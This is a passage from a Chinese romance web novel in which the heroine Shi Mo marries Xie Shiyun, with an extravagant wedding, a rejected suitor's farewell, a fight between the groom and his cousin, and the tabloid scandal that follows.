【宿主!恭喜恭喜!你终于结婚了!】小七的声音在脑海里炸开,带着抑制不住的兴奋,【系统检测到你已与谢时昀缔结法定婚姻关系,夫妻财产共通条款生效,金钱限制已全面解除!从此以后,你每年可以调动的资金没有上限!想花多少花多少!】 时墨心里一松,压在心头几年的大石头终于落了地。之前因为系统限额,她很多想做的事都束手束脚,现在没有了资金限制,终于可以放开手脚大干一场了。 【还有呢?】 【还有?这还不够?宿主你现在想花多少钱就花多少钱!再也不用算计了!你之前看中的那个四合院,随便买!你想在沪市开的那家分公司,现在可以启动了!你想投资的那个商业地产,直接砸钱拿下!爽不爽?】 【还行吧,要不是你们搞这么多破事,我也不用这么麻烦。】 时墨拿到结婚证的第一件事,就给助理打了电话,让她准备好股权转让协议,下午就去工商局,把放在母亲名下的所有股份全部转到自己名下。 晚上的家宴,比时墨预想的要热闹得多。 她和谢时昀一起进门的时候,时爱国和李秀兰已经在厨房忙了一下午,做了满满一桌子菜。时建军和周晓娟也早就到了,一起跟着忙乎。 “哟,我们的新娘子回来了!”时建军一看到时墨,就吹了个口哨。 “去你的。”时墨白了他一眼,把包放在沙发上。 周晓娟拉着时墨坐到身边,压低声音问:“真领了?那些条件他真的都签了?” 时墨点头。 周晓娟倒吸一口凉气,看了一眼正在厨房帮李秀兰端菜的谢时昀,小声说:“墨墨,你可真是捡到宝了。这世上,也就谢时昀能对你这么死心塌地了。” 时墨说道:“我也是块宝诶,谢时昀娶我才是捡了大便宜。” 周晓娟听着时墨这自信的话“噗呲”笑出了声,点头赞同:“说的没错,我家墨墨可是数一数二顶好的,追求者能绕护城河一圈。” 时墨仰了下头:“那当然。” 吃饭的时候,时爱国开了一瓶珍藏多年的茅台,给每个人都倒了一杯。他举起杯子,看了看时墨,又看了看谢时昀,酝酿了半天,最后只说了一句:“小谢,墨墨从小被我们惯坏了,脾气不好。以后,麻烦你多照顾她了。” “爸,您放心。”谢时昀立刻端起杯子,站起身道,“以后墨墨的事就是我的事,墨墨的家人就是我的家人。我会一辈子对她好,绝不会让她受一点委屈。” 说完,他一仰头,把满满一杯白酒干了。 时墨在旁边默默地吃着菜,嘴角却不自觉地弯了起来。她悄悄伸出手,在谢时昀的后腰上轻轻拍了一下。 谢时昀身体一僵,转过头看她,眼里满是温柔。 同一时间,谢家也在开家庭会议。 谢振邦坐在沙发上,得知谢时昀前的协议内容,眉头皱得能夹死苍蝇。苏婉清坐在旁边,眼眶红红的。 “这孩子,这么大的事,也不跟我们商量就把字签了。”苏婉清埋怨道,“什么都不要,就为了跟人家结婚。以后要是时墨真的跟他离婚了,他怎么办啊?” “他自己愿意的。”谢振邦摘下眼镜擦了擦,“这么多年了,你又不是不知道他对时墨那丫头的心思。为了时墨,他连命都能豁出去,这点钱算什么。” “那也不能……” “能不能的,已经签了。”谢振邦打断她,“周日约时家一起吃个饭,把婚礼的事定下来。你到了那边,别摆脸色,别让人家觉得我们谢家小气。既然孩子愿意,我们就祝福他们。” “我哪是小气,我也喜欢时墨这孩子,可是……” 周日晚上的饭局,定在了京城饭店的中餐厅。 两家人凑在一起,热热闹闹地坐了一大桌。时爱国和李秀兰坐一边,谢振邦和苏婉清坐对面,时墨和谢时昀并排坐着,旁边是时建军和周晓娟。 菜上齐了,话题自然而然地转到了婚礼上。 谢时昀拿出一个笔记本,上面密密麻麻地记满了婚礼筹备的细节。 他翻着笔记本,一项一项地跟大家汇报:“酒店我初步定了王府半岛,宴会厅能摆六十桌。婚车头车用迈巴赫,后面跟十辆奔驰。婚纱我已经联系了巴黎的设计师,下周就能出初稿……” “等等。”时墨打断他,“六十桌?太多了吧?能不能少点?” “少什么少!”李秀兰第一个反对,“结婚是一辈子的大事,怎么能马虎?该请的人都得请,不能让人说我们时家不懂规矩。” “就是。”苏婉清也附和道,脸上带着得体的笑容,“墨墨,一辈子就结一次婚,必须办得风风光光的。别人家有的,咱们都得有,不能让你受委屈。” 她这话虽然说得客气,但话里的意思,桌上的人都听明白了。外面都在传谢时昀是倒贴上门的,她就是要办一场盛大的婚礼,堵住那些悠悠众口。 时墨看了谢时昀一眼。 谢时昀立刻心领神会,赶紧打圆场:“妈,墨墨不喜欢太热闹。要不这样,酒席减到五十桌,接亲的环节简化一点,仪式也尽量精简,好不好?” 苏婉清看了看时墨,又看了看儿子,最终还是点了点头:“行,听你们的。” 接下来,大家又七嘴八舌地讨论起了婚礼的细节,从喜糖的牌子到伴郎伴娘的人选,聊得热火朝天。时墨坐在旁边,默默地听着,时不时地喝一口茶,心里开始后悔答应办婚礼了。 这些繁琐的事情,比她谈几千万的项目还要累。 饭局散场的时候,已经是晚上九点多了。两家人站在饭店门口道别,约好了下周六一起去看酒店。 回家的路上,谢时昀开着车,时墨坐在副驾驶,靠着车窗看外面的夜景。长安街上的华灯一盏接一盏地往后退,把她的脸映得明暗交错。 “累了?”谢时昀轻声问。 “还好。”时墨淡淡道。 车里安静了下来。 过了一会儿,时墨忽然开口道:“你妈是不是对我有意见?” 谢时昀握着方向盘的手瞬间收紧。 “没有的事。”他说,“她就是觉得婚礼不能太随便了。” “谢时昀。”时墨转过头看着他,眼神平静,“我知道她心里不舒服。觉得我欺负你,觉得那些条件太苛刻了。你妈心疼你,我能理解。” 被时墨关心着,谢时昀心暖呼呼的。他把车停在路边,转过头看着时墨,认真地说:“墨墨,这些都不是你的问题。是我心甘情愿的,跟你没关系。我妈那边,我会跟她说清楚的。你不用担心。” “我没担心。”时墨又把目光转回窗外,“我就是跟你说一声,你心里有数就行。” 车拐进了胡同,在时墨家门口停下来。谢时昀熄了火,犹豫了一路,终于问道:“墨墨,你是不是后悔了?要是你不想办婚礼,我去跟爸妈说。” “没有。”时墨摇摇头,“就是觉得有点麻烦。不过既然他们高兴,就办吧。”她推开车门,“我进去了,你也早点回去休息。” “墨墨。”谢时昀忽然叫住她。 时墨回过头。 “谢谢。”他说。 “谢什么?” “谢谢你……给我这个机会。” 时墨看了他一眼:“好好表现吧。”时墨说完,关上车门,推开院门走了进去。 谢时昀在车里坐了很久,看着那扇关上的院门,嘴角慢慢弯了起来。 两人结婚的消息一传出去,整个京圈都炸了。 最先得到消息的陆川,在喝多了之后,把这件事捅到了朋友圈。不到一天的工夫,整个京城的商圈和富二代圈子,都知道了谢时昀娶了时墨,还签了那份“丧权辱国”的婚前协议。 “疯了吧?谢时昀是不是脑子进水了?” “为了个女人,把自己的全部身家都搭进去了,至于吗?” “你懂什么,人家那是真爱。追了时墨五六年了吧,终于得偿所愿了。” “真爱?我看是冤大头还差不多。时墨那是什么人,眼里只有钱和生意,她能真心对他?” “以前那么多人追时墨,都被那份协议吓跑了,没想到最后被谢时昀捡了漏。” “你懂什么,时墨那条件,有几个男人配得上?谢时昀这是捡到宝了。” “捡到宝?我看是捡到个祖宗还差不多。” 时墨曾经热烈追求过时墨的人,这下全都心碎了一地。有的在酒桌上喝得酩酊大醉,嘴里念叨着“我怎么就没那个胆子”。 有人幸灾乐祸,有人冷嘲热讽,有人扼腕叹息,也有人真心祝福。但不管说什么的,所有人都达成了一个共识——谢时昀,是真的疯了。 而被所有人议论的“疯子”,此刻正坐在自己的办公室里,翻开那个写满了“婚礼筹 备”的笔记本,认认真真地一项一项往下捋。 就算只是名义上的夫妻也没关系。 他只要有证,就是时墨在众人眼中承认的,名正言顺的丈夫。 第97章 消息传出去的头几天, 谢时昀走到哪儿都有认识的人凑上来搭话。 有真心道贺竖大拇指的,也有端着酒杯阴阳怪气的:“谢总好福气啊,娶了咱们京城最能干的女财神, 以后躺着数钱就行。”话里那点酸气, 隔着三条街都能闻见。 谢时昀一概笑着应下, 半点不往心里去。别人怎么说都无所谓, 只要能站在时墨身边,这点闲言碎语算什么。 他筹备婚礼的动静,更是在整个京圈掀起了轩然大波。 王府半岛酒店的宴会厅直接包下,婚礼当天不希望有任何闲杂人等打扰,连通往宴会厅的走廊都摆满了从昆明空运来的红玫瑰。婚车车队是清一色的黑色奔驰, 头车是刚从香江辗转运来的迈巴赫, 车牌号特意托人选了“京A·52099”,翻来覆去看了好几天, 才满意地敲定。 婚纱是找了法国最有名的婚纱设计师手工定制的, 光设计稿就改了八遍。手工刺绣的裙摆缀满了米粒大的珍珠和手工立体花卉,光是手工费就花了普通人十年的工资。喜糖全是进口的瑞士巧克力, 每盒里还放了一枚刻着两人名字缩写的镀金纪念币, 沉甸甸的拿在手里, 分量十足。 他像个上了发条的陀螺, 每天一早就出门, 天黑了才回家。大到场地布置,小到婚礼菜单,都要亲自过目。黑色的笔记本被他翻得起了毛边, 上面密密麻麻写满了备注,凡是和时墨相关的,都用红笔标了醒目的五角星: 苏婉清第一次看到账单的时候, 手都抖了一下,捂着心口半天没说出话。她想劝儿子差不多得了,别这么铺张浪费,可抬头看见谢时昀脸上那抑制不住的笑容,到嘴边的话又咽了回去。 她这辈子就没见过儿子这样。 谢时昀从小就沉稳懂事,喜怒不形于色。四岁摔破了膝盖,血顺着腿往下流,都咬着牙不哭一声。长大以后做生意,再大的风浪也没见他慌过。可现在,他每天回来嘴角都是翘着的,连吃饭的时候都在翻那个笔记本,有时候看着看着,自己就偷偷笑出声。 “真是上辈子欠了时墨的。”苏婉清无奈地摇摇头,转身去给儿子炖了补身体的鸡汤。 算了,孩子高兴就好。 时墨乐得清闲,彻底当起了甩手掌柜。 她把婚礼的事全权交给谢时昀之后,就开始琢磨自己接下来要做的事。时记商超的股份已经从李秀兰名下转到了自己名下,工商手续全部办妥,拖了两年多的全国扩张计划终于可以启动了。 她正坐在书桌前,对着沪市那块商业用地的调研报告摩拳擦掌,准备大干一场,结果小七的声音突然在脑海里撕心裂肺地哭嚎起来。 【宿主!救命啊!天塌了!】 时墨手里的钢笔顿了一下,在纸上洇出一个小墨点:【嚎什么?天塌了有高个子顶着。】 【主系统检测到你利用婚姻关系规避资产限额的漏洞了!】小七的声音带着哭腔,【他们说规则已经生效不能撤销,但临时加了补充条款!让我24小时监督你躺平!】 时墨放下笔,靠在椅背上,挑了挑眉:【说说,怎么个躺法?】 【你从今天开始不能操劳过度,每天工作不能超过四个小时,要严格遵守正常生物钟,不能熬夜改方案写小说!还有……】小七把规则一条一条念给她听,越说越委屈,【你要是违背了,我不仅要扣光所有奖金,还要被降级成初级系统,去扫系统垃圾站!宿主!我不想去扫垃圾!】 【降级这么严重?】时墨摸了摸下巴。 【嗯呢!主系统这次是动真格的了!以前还有固定抽查时间,现在是实时监控!】小七急得团团转,【宿主求求你了,你就当放个假,歇一歇行不行?就当可怜可怜我!】 时墨看着桌上堆得高高的文件,又想了想谢时昀最近任劳任怨的样子,忽然笑了。 “行吧,我答应你。”她慢悠悠地说,“正好,我也歇歇。试试谢时昀,看他到底好不好用。” 谢时昀不是爱操心吗? 她要的可不只是一个名义上的丈夫,更是一个能真正替她分担压力的人。如果他连这点事都办不好,那以后也别提什么“转正”了。 说干就干。第二天一早,时墨就把一摞厚厚的项目文件“啪”地一声放在了谢时昀面前。 “这是沪市那块地的全部资料,还有和南方几个供应商的合同,你帮我谈了。” 谢时昀正在核对婚礼的宾客名单,闻言愣了一下,随即立刻点头:“好。我下午就飞沪市。” “不用急,”时墨摆摆手,拿起桌上的苹果咬了一口,“婚礼前弄完就行。谈不下来也没关系,反正我也不是非要不可。” “放心,肯定给你谈下来。”谢时昀把文件收好,眼里满是被信任的喜悦。 接下来的日子,时墨彻底过上了提前退休的躺平生活。 每天睡到自然醒,在院子里打半小时太极,浇浇花草树木,遛遛狗,偶尔去公司转一圈,有灵感就写两章小说,没有就窝在藤椅上看古建修复的书。所有的工作,一股脑全推给了谢时昀。 谢时昀也确实没让她失望。三天飞了一趟沪市,不仅拿下了那块地,还凭着过人的谈判技巧,把价格压了百分之五。南方的供应商合同,也谈得比时墨预期的还要好,账期延长了三个月。 他一边跑生意,一边筹备婚礼,连轴转了半个月,却半点怨言都没有。每次时墨问他累不累,他都笑着摇头:“不累,能帮你做事,我高兴。” 小七每天提心吊胆地盯着时墨,生怕她突然心血来潮去干点啥,见她真的每天悠哉悠哉,不是喝茶就是遛狗,终于松了口气,在系统空间里哼起了小曲。 这天下午,阳光正好,时墨正在院子里翻看谢时昀送来的婚礼请柬样稿,院门被轻轻敲响了。 “来了。”她放下样稿,走过去开门。 开门一看,是秦野。 他整个人看起来比之前成熟了不少,手里提着两个精致的牛皮纸袋,还有一个雕花的红木盒子,站在门口。 “时墨,好久不见。”秦野笑了笑,笑容里带着一丝不易察觉的落寞。 “秦野?进来坐。”时墨侧身让开,指了指石桌旁的藤椅,“我刚泡的了龙井茉莉,喝点解解暑。” 秦野走进院子,目光扫过石榴树下的藤椅和石桌,看到桌上摊着的请柬样稿,最后落在时墨身上。她穿了一件简单的白色棉麻连衣裙,头发松松地挽在脑后,露出纤细的脖颈。阳光落在她脸上,柔和了她平日里的凌厉,看起来格外柔美。 他的心脏猛地一抽,疼得他呼吸都顿了一下。 “听说你结婚了,我过来送份新婚礼物。”他把手里的礼物放在石桌上,声音有点沙哑,“新婚快乐。” “谢了。还特意跑一趟。”时墨坐下,随手倒了一杯茶递给秦野,示意他坐下:“别站着说话。” 秦野在石凳上坐下来:“我爸让我回去接手家里的生意,我后天就走了。走之前,想过来看看你。” “回南方?” “嗯,我爸妈就我一个儿子,家里的船运和地产生意,总得有人接手。”秦野端起茶杯喝了一口,目光落在杯子里,看着杯中茶叶的沉浮。 时墨点点头,没说话。 院子里静悄悄的,只有风吹过树叶的沙沙声,还有远处胡同里传来的叫卖声。 秦野放下茶杯,看了她一眼,欲言又止。 “时墨,其实我……”秦野开口说了半句,又停住了。 时墨眼神平静地看着他。 秦野的手在膝盖上攥了攥,终于还是抬起头,看着时墨的眼睛,说出了藏在心里的话:“其实我早就想来找你了。” “你相亲的事,我第一时间就听说了。那些条件,我愿意签。什么净身出户,什么随时离婚,我都不在乎。我当时都收拾好东西了,准备第二天就来找你求婚!” 他的声音越来越低,带着难以掩饰的苦涩:“可我爸妈不知道从哪儿得了消息,把我锁在了家里,收了我的身份证和钱包。他们说,我要是敢签那份协议,就跟我断绝父子关系,把我从秦家的户口本上除名。” “我跟他们吵了整整半个月,绝食,摔东西,什么法子都用过了。最后我爸气得住院了,我才松了口。”秦野苦笑了一下,眼眶微微发红,“等我终于从家里跑出来,赶到你家胡同口的时候,就听见邻居大妈聊天说,你昨天跟谢时昀领证了。” 他看着时墨,眼睛里满是不甘和遗憾:“我就差一步,时墨。就差那么一步。” 时墨静静地听着,脸上没什么表情裱花,拿起茶壶,又给他续了一杯茶。 “都过去了。” 她对秦野从来没有过男女之情,当初确实考虑过他是不是合适的结婚人选,但后来发现他性格太冲动,又被家里管得太严,只适合当朋友。 就算他真心喜欢,又如何呢?喜欢不能当饭吃。连自己的人生都做不了主的男人,就算签了协议,以后也只会是无尽的麻烦。 秦野抬起头看着她,眼睛里有不甘,有遗憾。 “我是不是来晚了?” 时墨放下茶壶,看着他:“秦野,你是个聪明人。有些事,没有早晚,只有合适不合适。” 秦野愣了两秒,突然笑了。那笑容里有释然,也有苦涩,像是把一块压在胸口很久的石头终于搬开了,虽然压出了印子,但至少能喘气了。 “你说得对。”他点了点头,“没有早晚,只有合适不合适。” 他犹豫了一下,还是将心底的话问出口:“谢时昀对你好吗?” “挺好的。”时墨答得干脆,“他很靠谱。” 秦野看着她脸上不自觉流露出来的轻松笑意,心里最后那点不甘心也散了。 “那就好。”他笑了笑,这次的笑容真诚了许多,“如果哪天他欺负你了,随时给我打电话。不管我在天涯海角,都会立刻赶过来。” 时墨撇了秦野一眼,话锋一转,说起了正事:“说点别的吧。我听说你们家在珠江三角洲的船运生意做得很大,在深市和海市还有几块待开发的地?” 秦野愣了一下,随即反应过来,忍不住笑了。也就时墨,能把这么伤感的告别,硬生生转成商务洽谈。不过也好,总比相对无言,尴尬难受强。 “对,我们家主要做内河和近海的船运,深市那块地位置很好,靠近港口。” “那正好。”时墨若有所思地点了点头,“我下半年有个古建筑修复的项目,要去南方待几个月。到时候顺路去找你,看看有没有合作的机会。船运和地产我不太熟,但投资和运营我还是有点经验的。” “你拓展南方生意?” “看你愿不愿意带我这个外行了。” “当然愿意!”秦野立刻点头,眼里重新燃起了光芒,“你的眼光和能力我是知道的,跟你合作我求之不得。我回去就把所有资料整理好,等你过来。” 他说完这句话,忽然觉得胸口那口气彻底顺了。 做不成恋人,能做一辈子的朋友和合作伙伴,也挺好的。至少,他还能一直站在她身边,看着她越来越好。 两人聊了一个多小时的生意,从船运路线聊到地产开发,越聊越投机,之前那点伤感的气氛,早就烟消云散了。 临走的时候,秦野站起来,把带来的纸袋往时墨那边推了推,“婚礼我就不参加了。那边的一堆事等着我回去处理。这是给你带的广市特产,还有给叔叔阿姨的一点心意。” “没事,生意为重。”时墨也跟着站起来,没跟他客气,“那些虚礼我不在乎,到时候给你寄伴手礼。” 秦野笑了笑,看着时墨,犹豫了很久,还是张开了手臂:“抱一下吧,就当是朋友的告别。” 时墨大大方方地上前,轻轻抱了他一下,拍了拍他的后背:“一路顺风。” “好。”秦野嗅到她身上淡淡的栀子花香,鼻尖一酸,赶紧松开手,“到了给你打电话。” 他走得很快,没有回头。走到胡同口时,才回头看了一眼时墨家的院门。 院门已经关上了。只有路边的柳树叶子在风里轻轻晃着。 他转过身,他抬手抹了一下眼睛,继续往前走,这次,没有再回头。 院子里,时墨打开盒子看了一眼,里面是一对劳力士的情侣对表,表盘上镶着碎钻,在阳光下闪着细碎的光。 她把表盒合上,放在石桌上,拿起手机给谢时昀拨了个电话。 “请柬的样稿我看过了,象牙白的那个挺好。” 电话那头谢时昀的声音带着笑意:“好,我这就让厂家开始印。对了,酒店那边的菜单我定了三套方案,你哪天有空看看?” “你定就行,我相信你的眼光。” 时墨说完这句话,明显听到电话那头谢时昀的呼吸声明显顿了一下,然后传来一声压不住的、带着愉悦的笑声。 “好,我来定。” 日子一晃,就到了农历八月十六,宜嫁娶。 婚礼前一晚,谢时昀把所有的流程又过了三遍,从接亲的路线到酒店的座位安排,事无巨细全部确认了一遍。笔记本上面的字写了又划,划了又写。 陆川坐在旁边,打了个哈欠:“我说你差不多得了,比你谈几个亿的合同还认真。不就结个婚吗?” 谢时昀头都没抬:“结婚比签十个亿的合同重要。” 陆川翻了个白眼,懒得再说他。谁让这是他上杆子求来的。 次日,天还没亮,时墨就被李秀兰从被窝里拽了起来。 “快起来快起来!化妆师都到了!再晚就来不及了!” 时墨揉着眼睛坐起来,看了一眼窗外,太阳还没露头。 她打了个大大的哈欠,慢吞吞地坐到梳妆台前。 给她化妆的是曾经给《红楼》做过化妆的张老师,在圈子里名头响得很。她端着时墨的脸左右看了看,满意地点点头:“底子真好,省粉底。就给你化个清透点的妆,突出你的自然美。” 时墨闭着眼睛任她摆弄,耳边是李秀兰和周晓娟忙前忙后的声音。 “伴手礼都装车了没有?再数一遍!” “那个红色的行李箱装的是敬酒服,别拿错了!” “喜字都贴正了!歪了的赶紧弄!” 热闹得像打仗一样。 八点十八分,接亲的车队准时到了胡同口。 迈巴赫打头,后面跟着十多辆奔驰,车头上都扎着鲜红的玫瑰和白色的百合,在清晨的阳光下格外耀眼。 胡同里早就挤满了看热闹的街坊邻居,里三层外三层,水泄不通。老太太抱着孙子站在最前面,啧啧称奇:“哎呦喂!这排场!我活了六十多年,头一回见这么气派的婚礼!” “这是谁家姑娘出嫁?” “你不知道?那个鉴宝的时墨!写书的那个!” “嚯!怪不得呢!” “新郎官也俊!俩人真是天造地设的一对!” 谢时昀从迈巴赫里下来的时候,人群里爆发出一阵欢呼声。 他穿了一身量身定制的黑色西装,白色的衬衫领口系着红色的领结,头发梳得一丝不苟。平日里总是温和的脸上,此刻带着一丝紧张,耳朵尖都红了。 他深吸一口气,走到时墨家门前,抬手敲了敲门。 “谁啊?”里面传来周晓娟故意拉长的声音。 “我,谢时昀,来接墨墨!” “想接走我们墨墨可没那么容易!先唱首歌!唱得不好听不给开门!” 陆川带着伴郎团在后面起哄:“唱一个!时昀给大家伙唱一个!” 谢时昀清了清嗓子,有点不好意思地扯了扯领结,然后扯着嗓子唱了一句《甜蜜蜜》。五音不全的调子,把满院子的人都逗笑了。 门“吱呀”一声开了。 时墨从里屋走了出来。 那一刻,整个院子都安静了。 她穿着那件法国设计师手工定制的婚纱,象牙白的缎面衬得她皮肤胜雪,腰间收得极窄,勾勒出纤细的腰线。长长的裙摆拖在地上,像一朵盛开的白牡丹。乌黑的长发盘成了优雅的发髻,戴着一顶镶满碎钻的皇冠,耳朵上是谢时昀特意买的水滴形钻石耳坠,走起路来轻轻晃动,流光溢彩。 她的妆容很淡,只在眉眼间勾勒了几笔,却美得惊心动魄。 谢时昀站在门口,直直地看着她,像是被施了定身咒一样,连呼吸都忘了。他的眼睛里,只剩下时墨一个人。 陆川在后面狠狠推了他一把:“看傻了?快去接你媳妇啊!” 谢时昀猛地回过神,一步一步地走到时墨面前。他的脚步有些发飘,像是踩在云朵上一样。他看着时墨的眼睛,声音低沉沙哑,带着抑制不住的激动:“墨墨,我来接你了。” 时墨看着他傻乎乎的样子,忍不住弯了弯嘴角,把手伸了过去。 谢时昀紧紧握住她的手。她的手很软,有点凉。 他用自己的掌心把她的手包起来,想把自己的温度传给她。 指尖相触的那一刻,时墨的心里,忽然像是有什么东西轻轻动了一下。 接亲的车队从胡同出发,沿着长安街一路开过去,特意绕了天安门一圈。耀眼的车队,吸引了无数路人驻足观看,纷纷指着车队议论纷纷。 “这是谁家结婚啊?这么大的排场!” “那车标我认识,奔驰!还是加长的!得多少钱啊!” “那个最前面的是那个外国牌子吧,死贵死贵的!” 九点五十八分,车队准时抵达王府半岛酒店。 酒店门口铺着长长的红地毯,从大门口一直延伸到宴会厅。两边站着穿着统一制服的服务员,手里拿着花篮,不停地往空中撒着玫瑰花瓣。 来参加婚礼的宾客,非富即贵。收藏界的泰斗宋老先生带着一众弟子来了,央视的几个台长和导演来了,京城地产界的大佬们也都来了。时墨前两年投资的几部电视剧捧红的几个演员,更是打扮得光鲜亮丽,比参加电影节还隆重。 最让人意外的,是赵星宇也来了。 当婚礼进行到表演环节,主持人笑着说:“接下来,让我们用热烈的掌声,有请著名摇滚歌手赵星宇先生,为新人送上祝福!” 全场瞬间沸腾了。 九十年代初,赵星宇就是摇滚的代名词。他的歌传遍了大街小巷,连胡同里的小孩儿都能哼两句。谁也没想到,他居然会来参加时墨的婚礼。 赵星宇穿着一件黑色的皮夹克,抱着吉他走上台。他的头发比电视上短了一些,下巴刮得干干净净,少了几分叛逆,多了几分斯文。 他走到麦克风前,目光扫过台下,最后落在时墨身上,笑了笑。然后轻轻拨动琴弦,唱起了一首慢歌。 不是他最火的那些摇滚金曲,而是一首温柔的民谣。他的声音低沉磁性,带着淡淡的温柔,听得台下的人都安静了下来。 台下的宾客听得如痴如醉,有人小声嘀咕:“这赵星宇怎么来了?他跟时墨什么关系?” “听说他是谢时昀的表弟!” “真的假的?谢时昀还有一个当明星的表弟?” “这你都不知道?赵星宇就是谢时昀大姨的儿子!人家也算正经书香门第出来的!” 时墨坐在台下,看着台上抱着吉他唱歌的赵星宇,有些恍惚。 她记得几年前,这个小子还是个天天抱着吉他瞎晃、被家里人骂不务正业的叛逆青年。没想到几年不见,居然真在音乐道路上闯出了一片天。 一曲唱完,全场掌声雷动。赵星宇鞠了一躬,深深地看了时墨一眼,然后转身走下了台。 婚礼仪式简单而隆重。 当司仪问谢时昀:“你愿意娶时墨女士为妻,无论贫穷富贵,健康疾病,都不离不弃吗?” 谢时昀看着时墨的眼睛,声音因为激动而微微发抖:“我愿意。” 三个字,他说得无比坚定,像是许下了一生的诺言。 交换戒指的时候,谢时昀的手抖得厉害,试了好几次,都没能把戒指戴到时墨的手指上。时墨看着他紧张得满头大汗的样子,忍不住笑了,伸手扶住他的手,帮他把戒指戴了上去。 冰凉的戒指套在手指上的那一刻,谢时昀的眼泪,终于忍不住掉了下来。 从第一次见到时墨开始,他就梦想着这一天。现在,梦想终于成真了。 台下的苏婉清看着儿子,也跟着红了眼眶,偷偷抹了抹眼泪。 敬酒环节,谢时昀把时墨护在身后,替她挡了所有的酒。不管是谁来敬酒,他都二话不说,端起杯子就干。一 圈下来,他喝得满脸通红,走路都有点晃了,却还是紧紧牵着时墨的手,一刻也不肯松开。 等所有宾客都走得差不多了,只剩下家里人的时候,赵星宇走到了谢时昀面前。 他的脸色阴沉得能滴出水来,眼神里带着浓浓的怒意。 “哥,你跟我过来一下。” 谢时昀看了他一眼,心里大概猜到了他要说什么,对时墨轻声道:“我去趟洗手间,马上回来。” 时墨点点头:“好。” 两人一前一后,走到了酒店后院僻静的假山旁。 周围一个人都没有,只有风吹过树叶的声音。 赵星宇压低声音问道:“哥,我问你一件事,你老实跟我说。” 赵星宇转过身,死死地盯着谢时昀,咬着牙问:“哥,我问你,你老实告诉我。是不是当初我让你替我去相亲的时候,你就已经看上时墨了?” 谢时昀看着他,坦然承认:“是。” “你混蛋!” 赵星宇的眼睛瞬间红了,他猛地一拳挥向谢时昀,带着满腔的怒火和不甘。 谢时昀早有防备,抬手稳稳地接住了他的拳头。他的手掌宽大有力,包住赵星宇的拳头,纹丝不动。 赵星宇咬着牙,另一只手又挥了过来。谢时昀偏头躲过,顺势抓住他的手腕,用力一拧,把他的胳膊别到了身后。 整个过程,不过几秒钟。 “赵星宇,你闹够了没有?”谢时昀的声音冷了下来,语气带着毫不掩饰的失望,“你看看今天是什么日子。你要是还有点脑子,就给我安分点。” 赵星宇被他制住,动弹不得,只能压低声音嘶吼:“谢时昀!你他妈的就是个小偷!你偷了我的机会!” “我偷了你的机会?”谢时昀冷笑一声,松开了他的手,“赵星宇,你扪心自问,就算我没有替你去相亲,你敢签那份婚前协议吗?你敢为了时墨,放弃你现在拥有的一切吗?” 赵星宇愣住了,张了张嘴,却说不出话来。 “你不敢。”谢时昀看着他,眼神锐利,“那你凭什么说喜欢时墨?你喜欢她,不过是喜欢她的漂亮,喜欢她的优秀。可我不一样,我可以为了她,放弃我的一切。” “我本以为你这几年在外面闯荡,多少长大了一点。现在看来,还是跟以前一样幼稚冲动。”谢时昀整理了一下被扯皱的西装袖口,语气恢复了平静,“这件事,到此为止。我不希望墨墨知道,影响她的心情。你能做到吗?” 赵星宇攥紧了拳头,指甲深深嵌进掌心。他看着谢时昀,眼里满是不甘,却又不得不承认,谢时昀说的是对的。 他确实无法放弃,他如今好不容易拥有的一切。 过了很久,他才咬着牙,从牙缝里挤出一个字:“能。” 谢时昀点了点头,没再说什么,转身往宴会厅走去。 赵星宇站在原地,看着他的背影,一拳砸在了假山上。手背传来钻心的疼痛,却比不上心里的万分之一。 他没有注意到,假山后面的灌木丛里,一个穿着黑色外套的男人,正举着相机,心满意足地按下了最后一下快门。 他本来是蹲守在这里,想拍赵星宇的独家新闻。没想到,居然拍到了这么大的料。 男人小心翼翼地收起相机,左右看了看,然后猫着腰,快速地从后门溜了出去。 明天的头版头条,有了。 第98章 昨天婚礼累了一天, 时墨沾着枕头就睡死了,天光大亮还蜷在被子里,直到电话铃声尖锐地响起, 才把她从梦里拽出来。 她迷迷糊糊地摸过手机, 眼睛都没睁开, 按下接通键就贴在耳边。 “喂?” “墨墨!你火了!”林薇薇的声音从听筒里炸出来, 带着一股压不住的八卦劲儿,“看今天的《京城娱乐周报》!你和谢时昀、赵星宇仨人直接占了头版头条!” 时墨揉了揉眼睛,坐起身,头发乱成一团:“什么头条?我结婚的事不是昨天就报过了吗?” “那能一样吗!这次是兄弟反目!”林薇薇念得抑扬顿挫,“标题我都背下来了——‘豪门婚礼后院起火, 摇滚天王挥拳怒揍表哥, 三角恋浮出水面’!还有照片呢!虽然拍的是侧影,但熟人一眼就能认出来!哎哟我昨天提前走了, 居然错过了这么大的瓜!” 时墨挂了电话, 脑子还有点懵。她随便抓了件外套披上,趿拉着拖鞋就往外走, 准备去对面找谢时昀问个清楚。 谢时昀在对面楼上卧室看到时墨出来, 立刻拿起刚买的还热乎的早饭和报纸下楼了。 他看到时墨出来, 快步迎上去, 脸上带着一丝紧张:“墨墨, 你是不是看到新闻了?我正准备跟你说这事。” “薇薇打电话说了。”时墨从他手里抽过最上面那份《娱乐周报》,低头翻看起来。 头版整版都是他们的新闻,那张照片拍得格外清晰——假山旁, 赵星宇挥拳的动作定格在半空,谢时昀抬手格挡,两人的侧脸都绷得死紧的, 透着一股火药味。 下面的小字写得绘声绘色,把三个人的关系编得九曲十八弯,连“时墨脚踏两条船”这种话都写出来了。 时墨看完,把报纸叠好,抬眼看向谢时昀,语气平静地问道:“昨天你们不是去洗手间,是躲在后院打架了?” 谢时昀脸上带着丝慌乱,他最怕的就是时墨误会,着急解释道:“不是打架,是他单方面动手,我没还手。” “行,进去说。”时墨转身推开院门,走了进去。 谢时昀跟在后面,随手把门带上。 两人进了堂屋,时墨在椅上坐下,指了指对面的椅子:“坐。” 谢时昀坐下后,立刻把昨天的事一五一十地说了。 “他把我拉到后院,问我是不是当初替他去相亲的时候就看上你了。我说是,他就急了,挥着拳头冲过来。我挡了两下,跟他说了几句话,他就消停了。前后不到三分钟,我真以为没人看见,没想到藏了个狗仔。” 他说着,垂下眼帘,像个做错了事:“对不起,墨墨,给你惹麻烦了。” 时墨靠在椅背上,手指在扶手上轻轻敲了两下:“赵星宇那臭脾气,你还跟他说什么了?” 谢时昀顿了一下,目光落在时墨脸上,像是在斟酌措辞。片刻后,如实说了:“我跟他说,他不敢签你的协议,不敢为你放弃一切,就别说什么喜欢。我还说,这件事不希望闹到你面前。” 他说完,垂下眼帘,等着时墨的反应。 时墨沉默了几秒,忽然叹了口气。 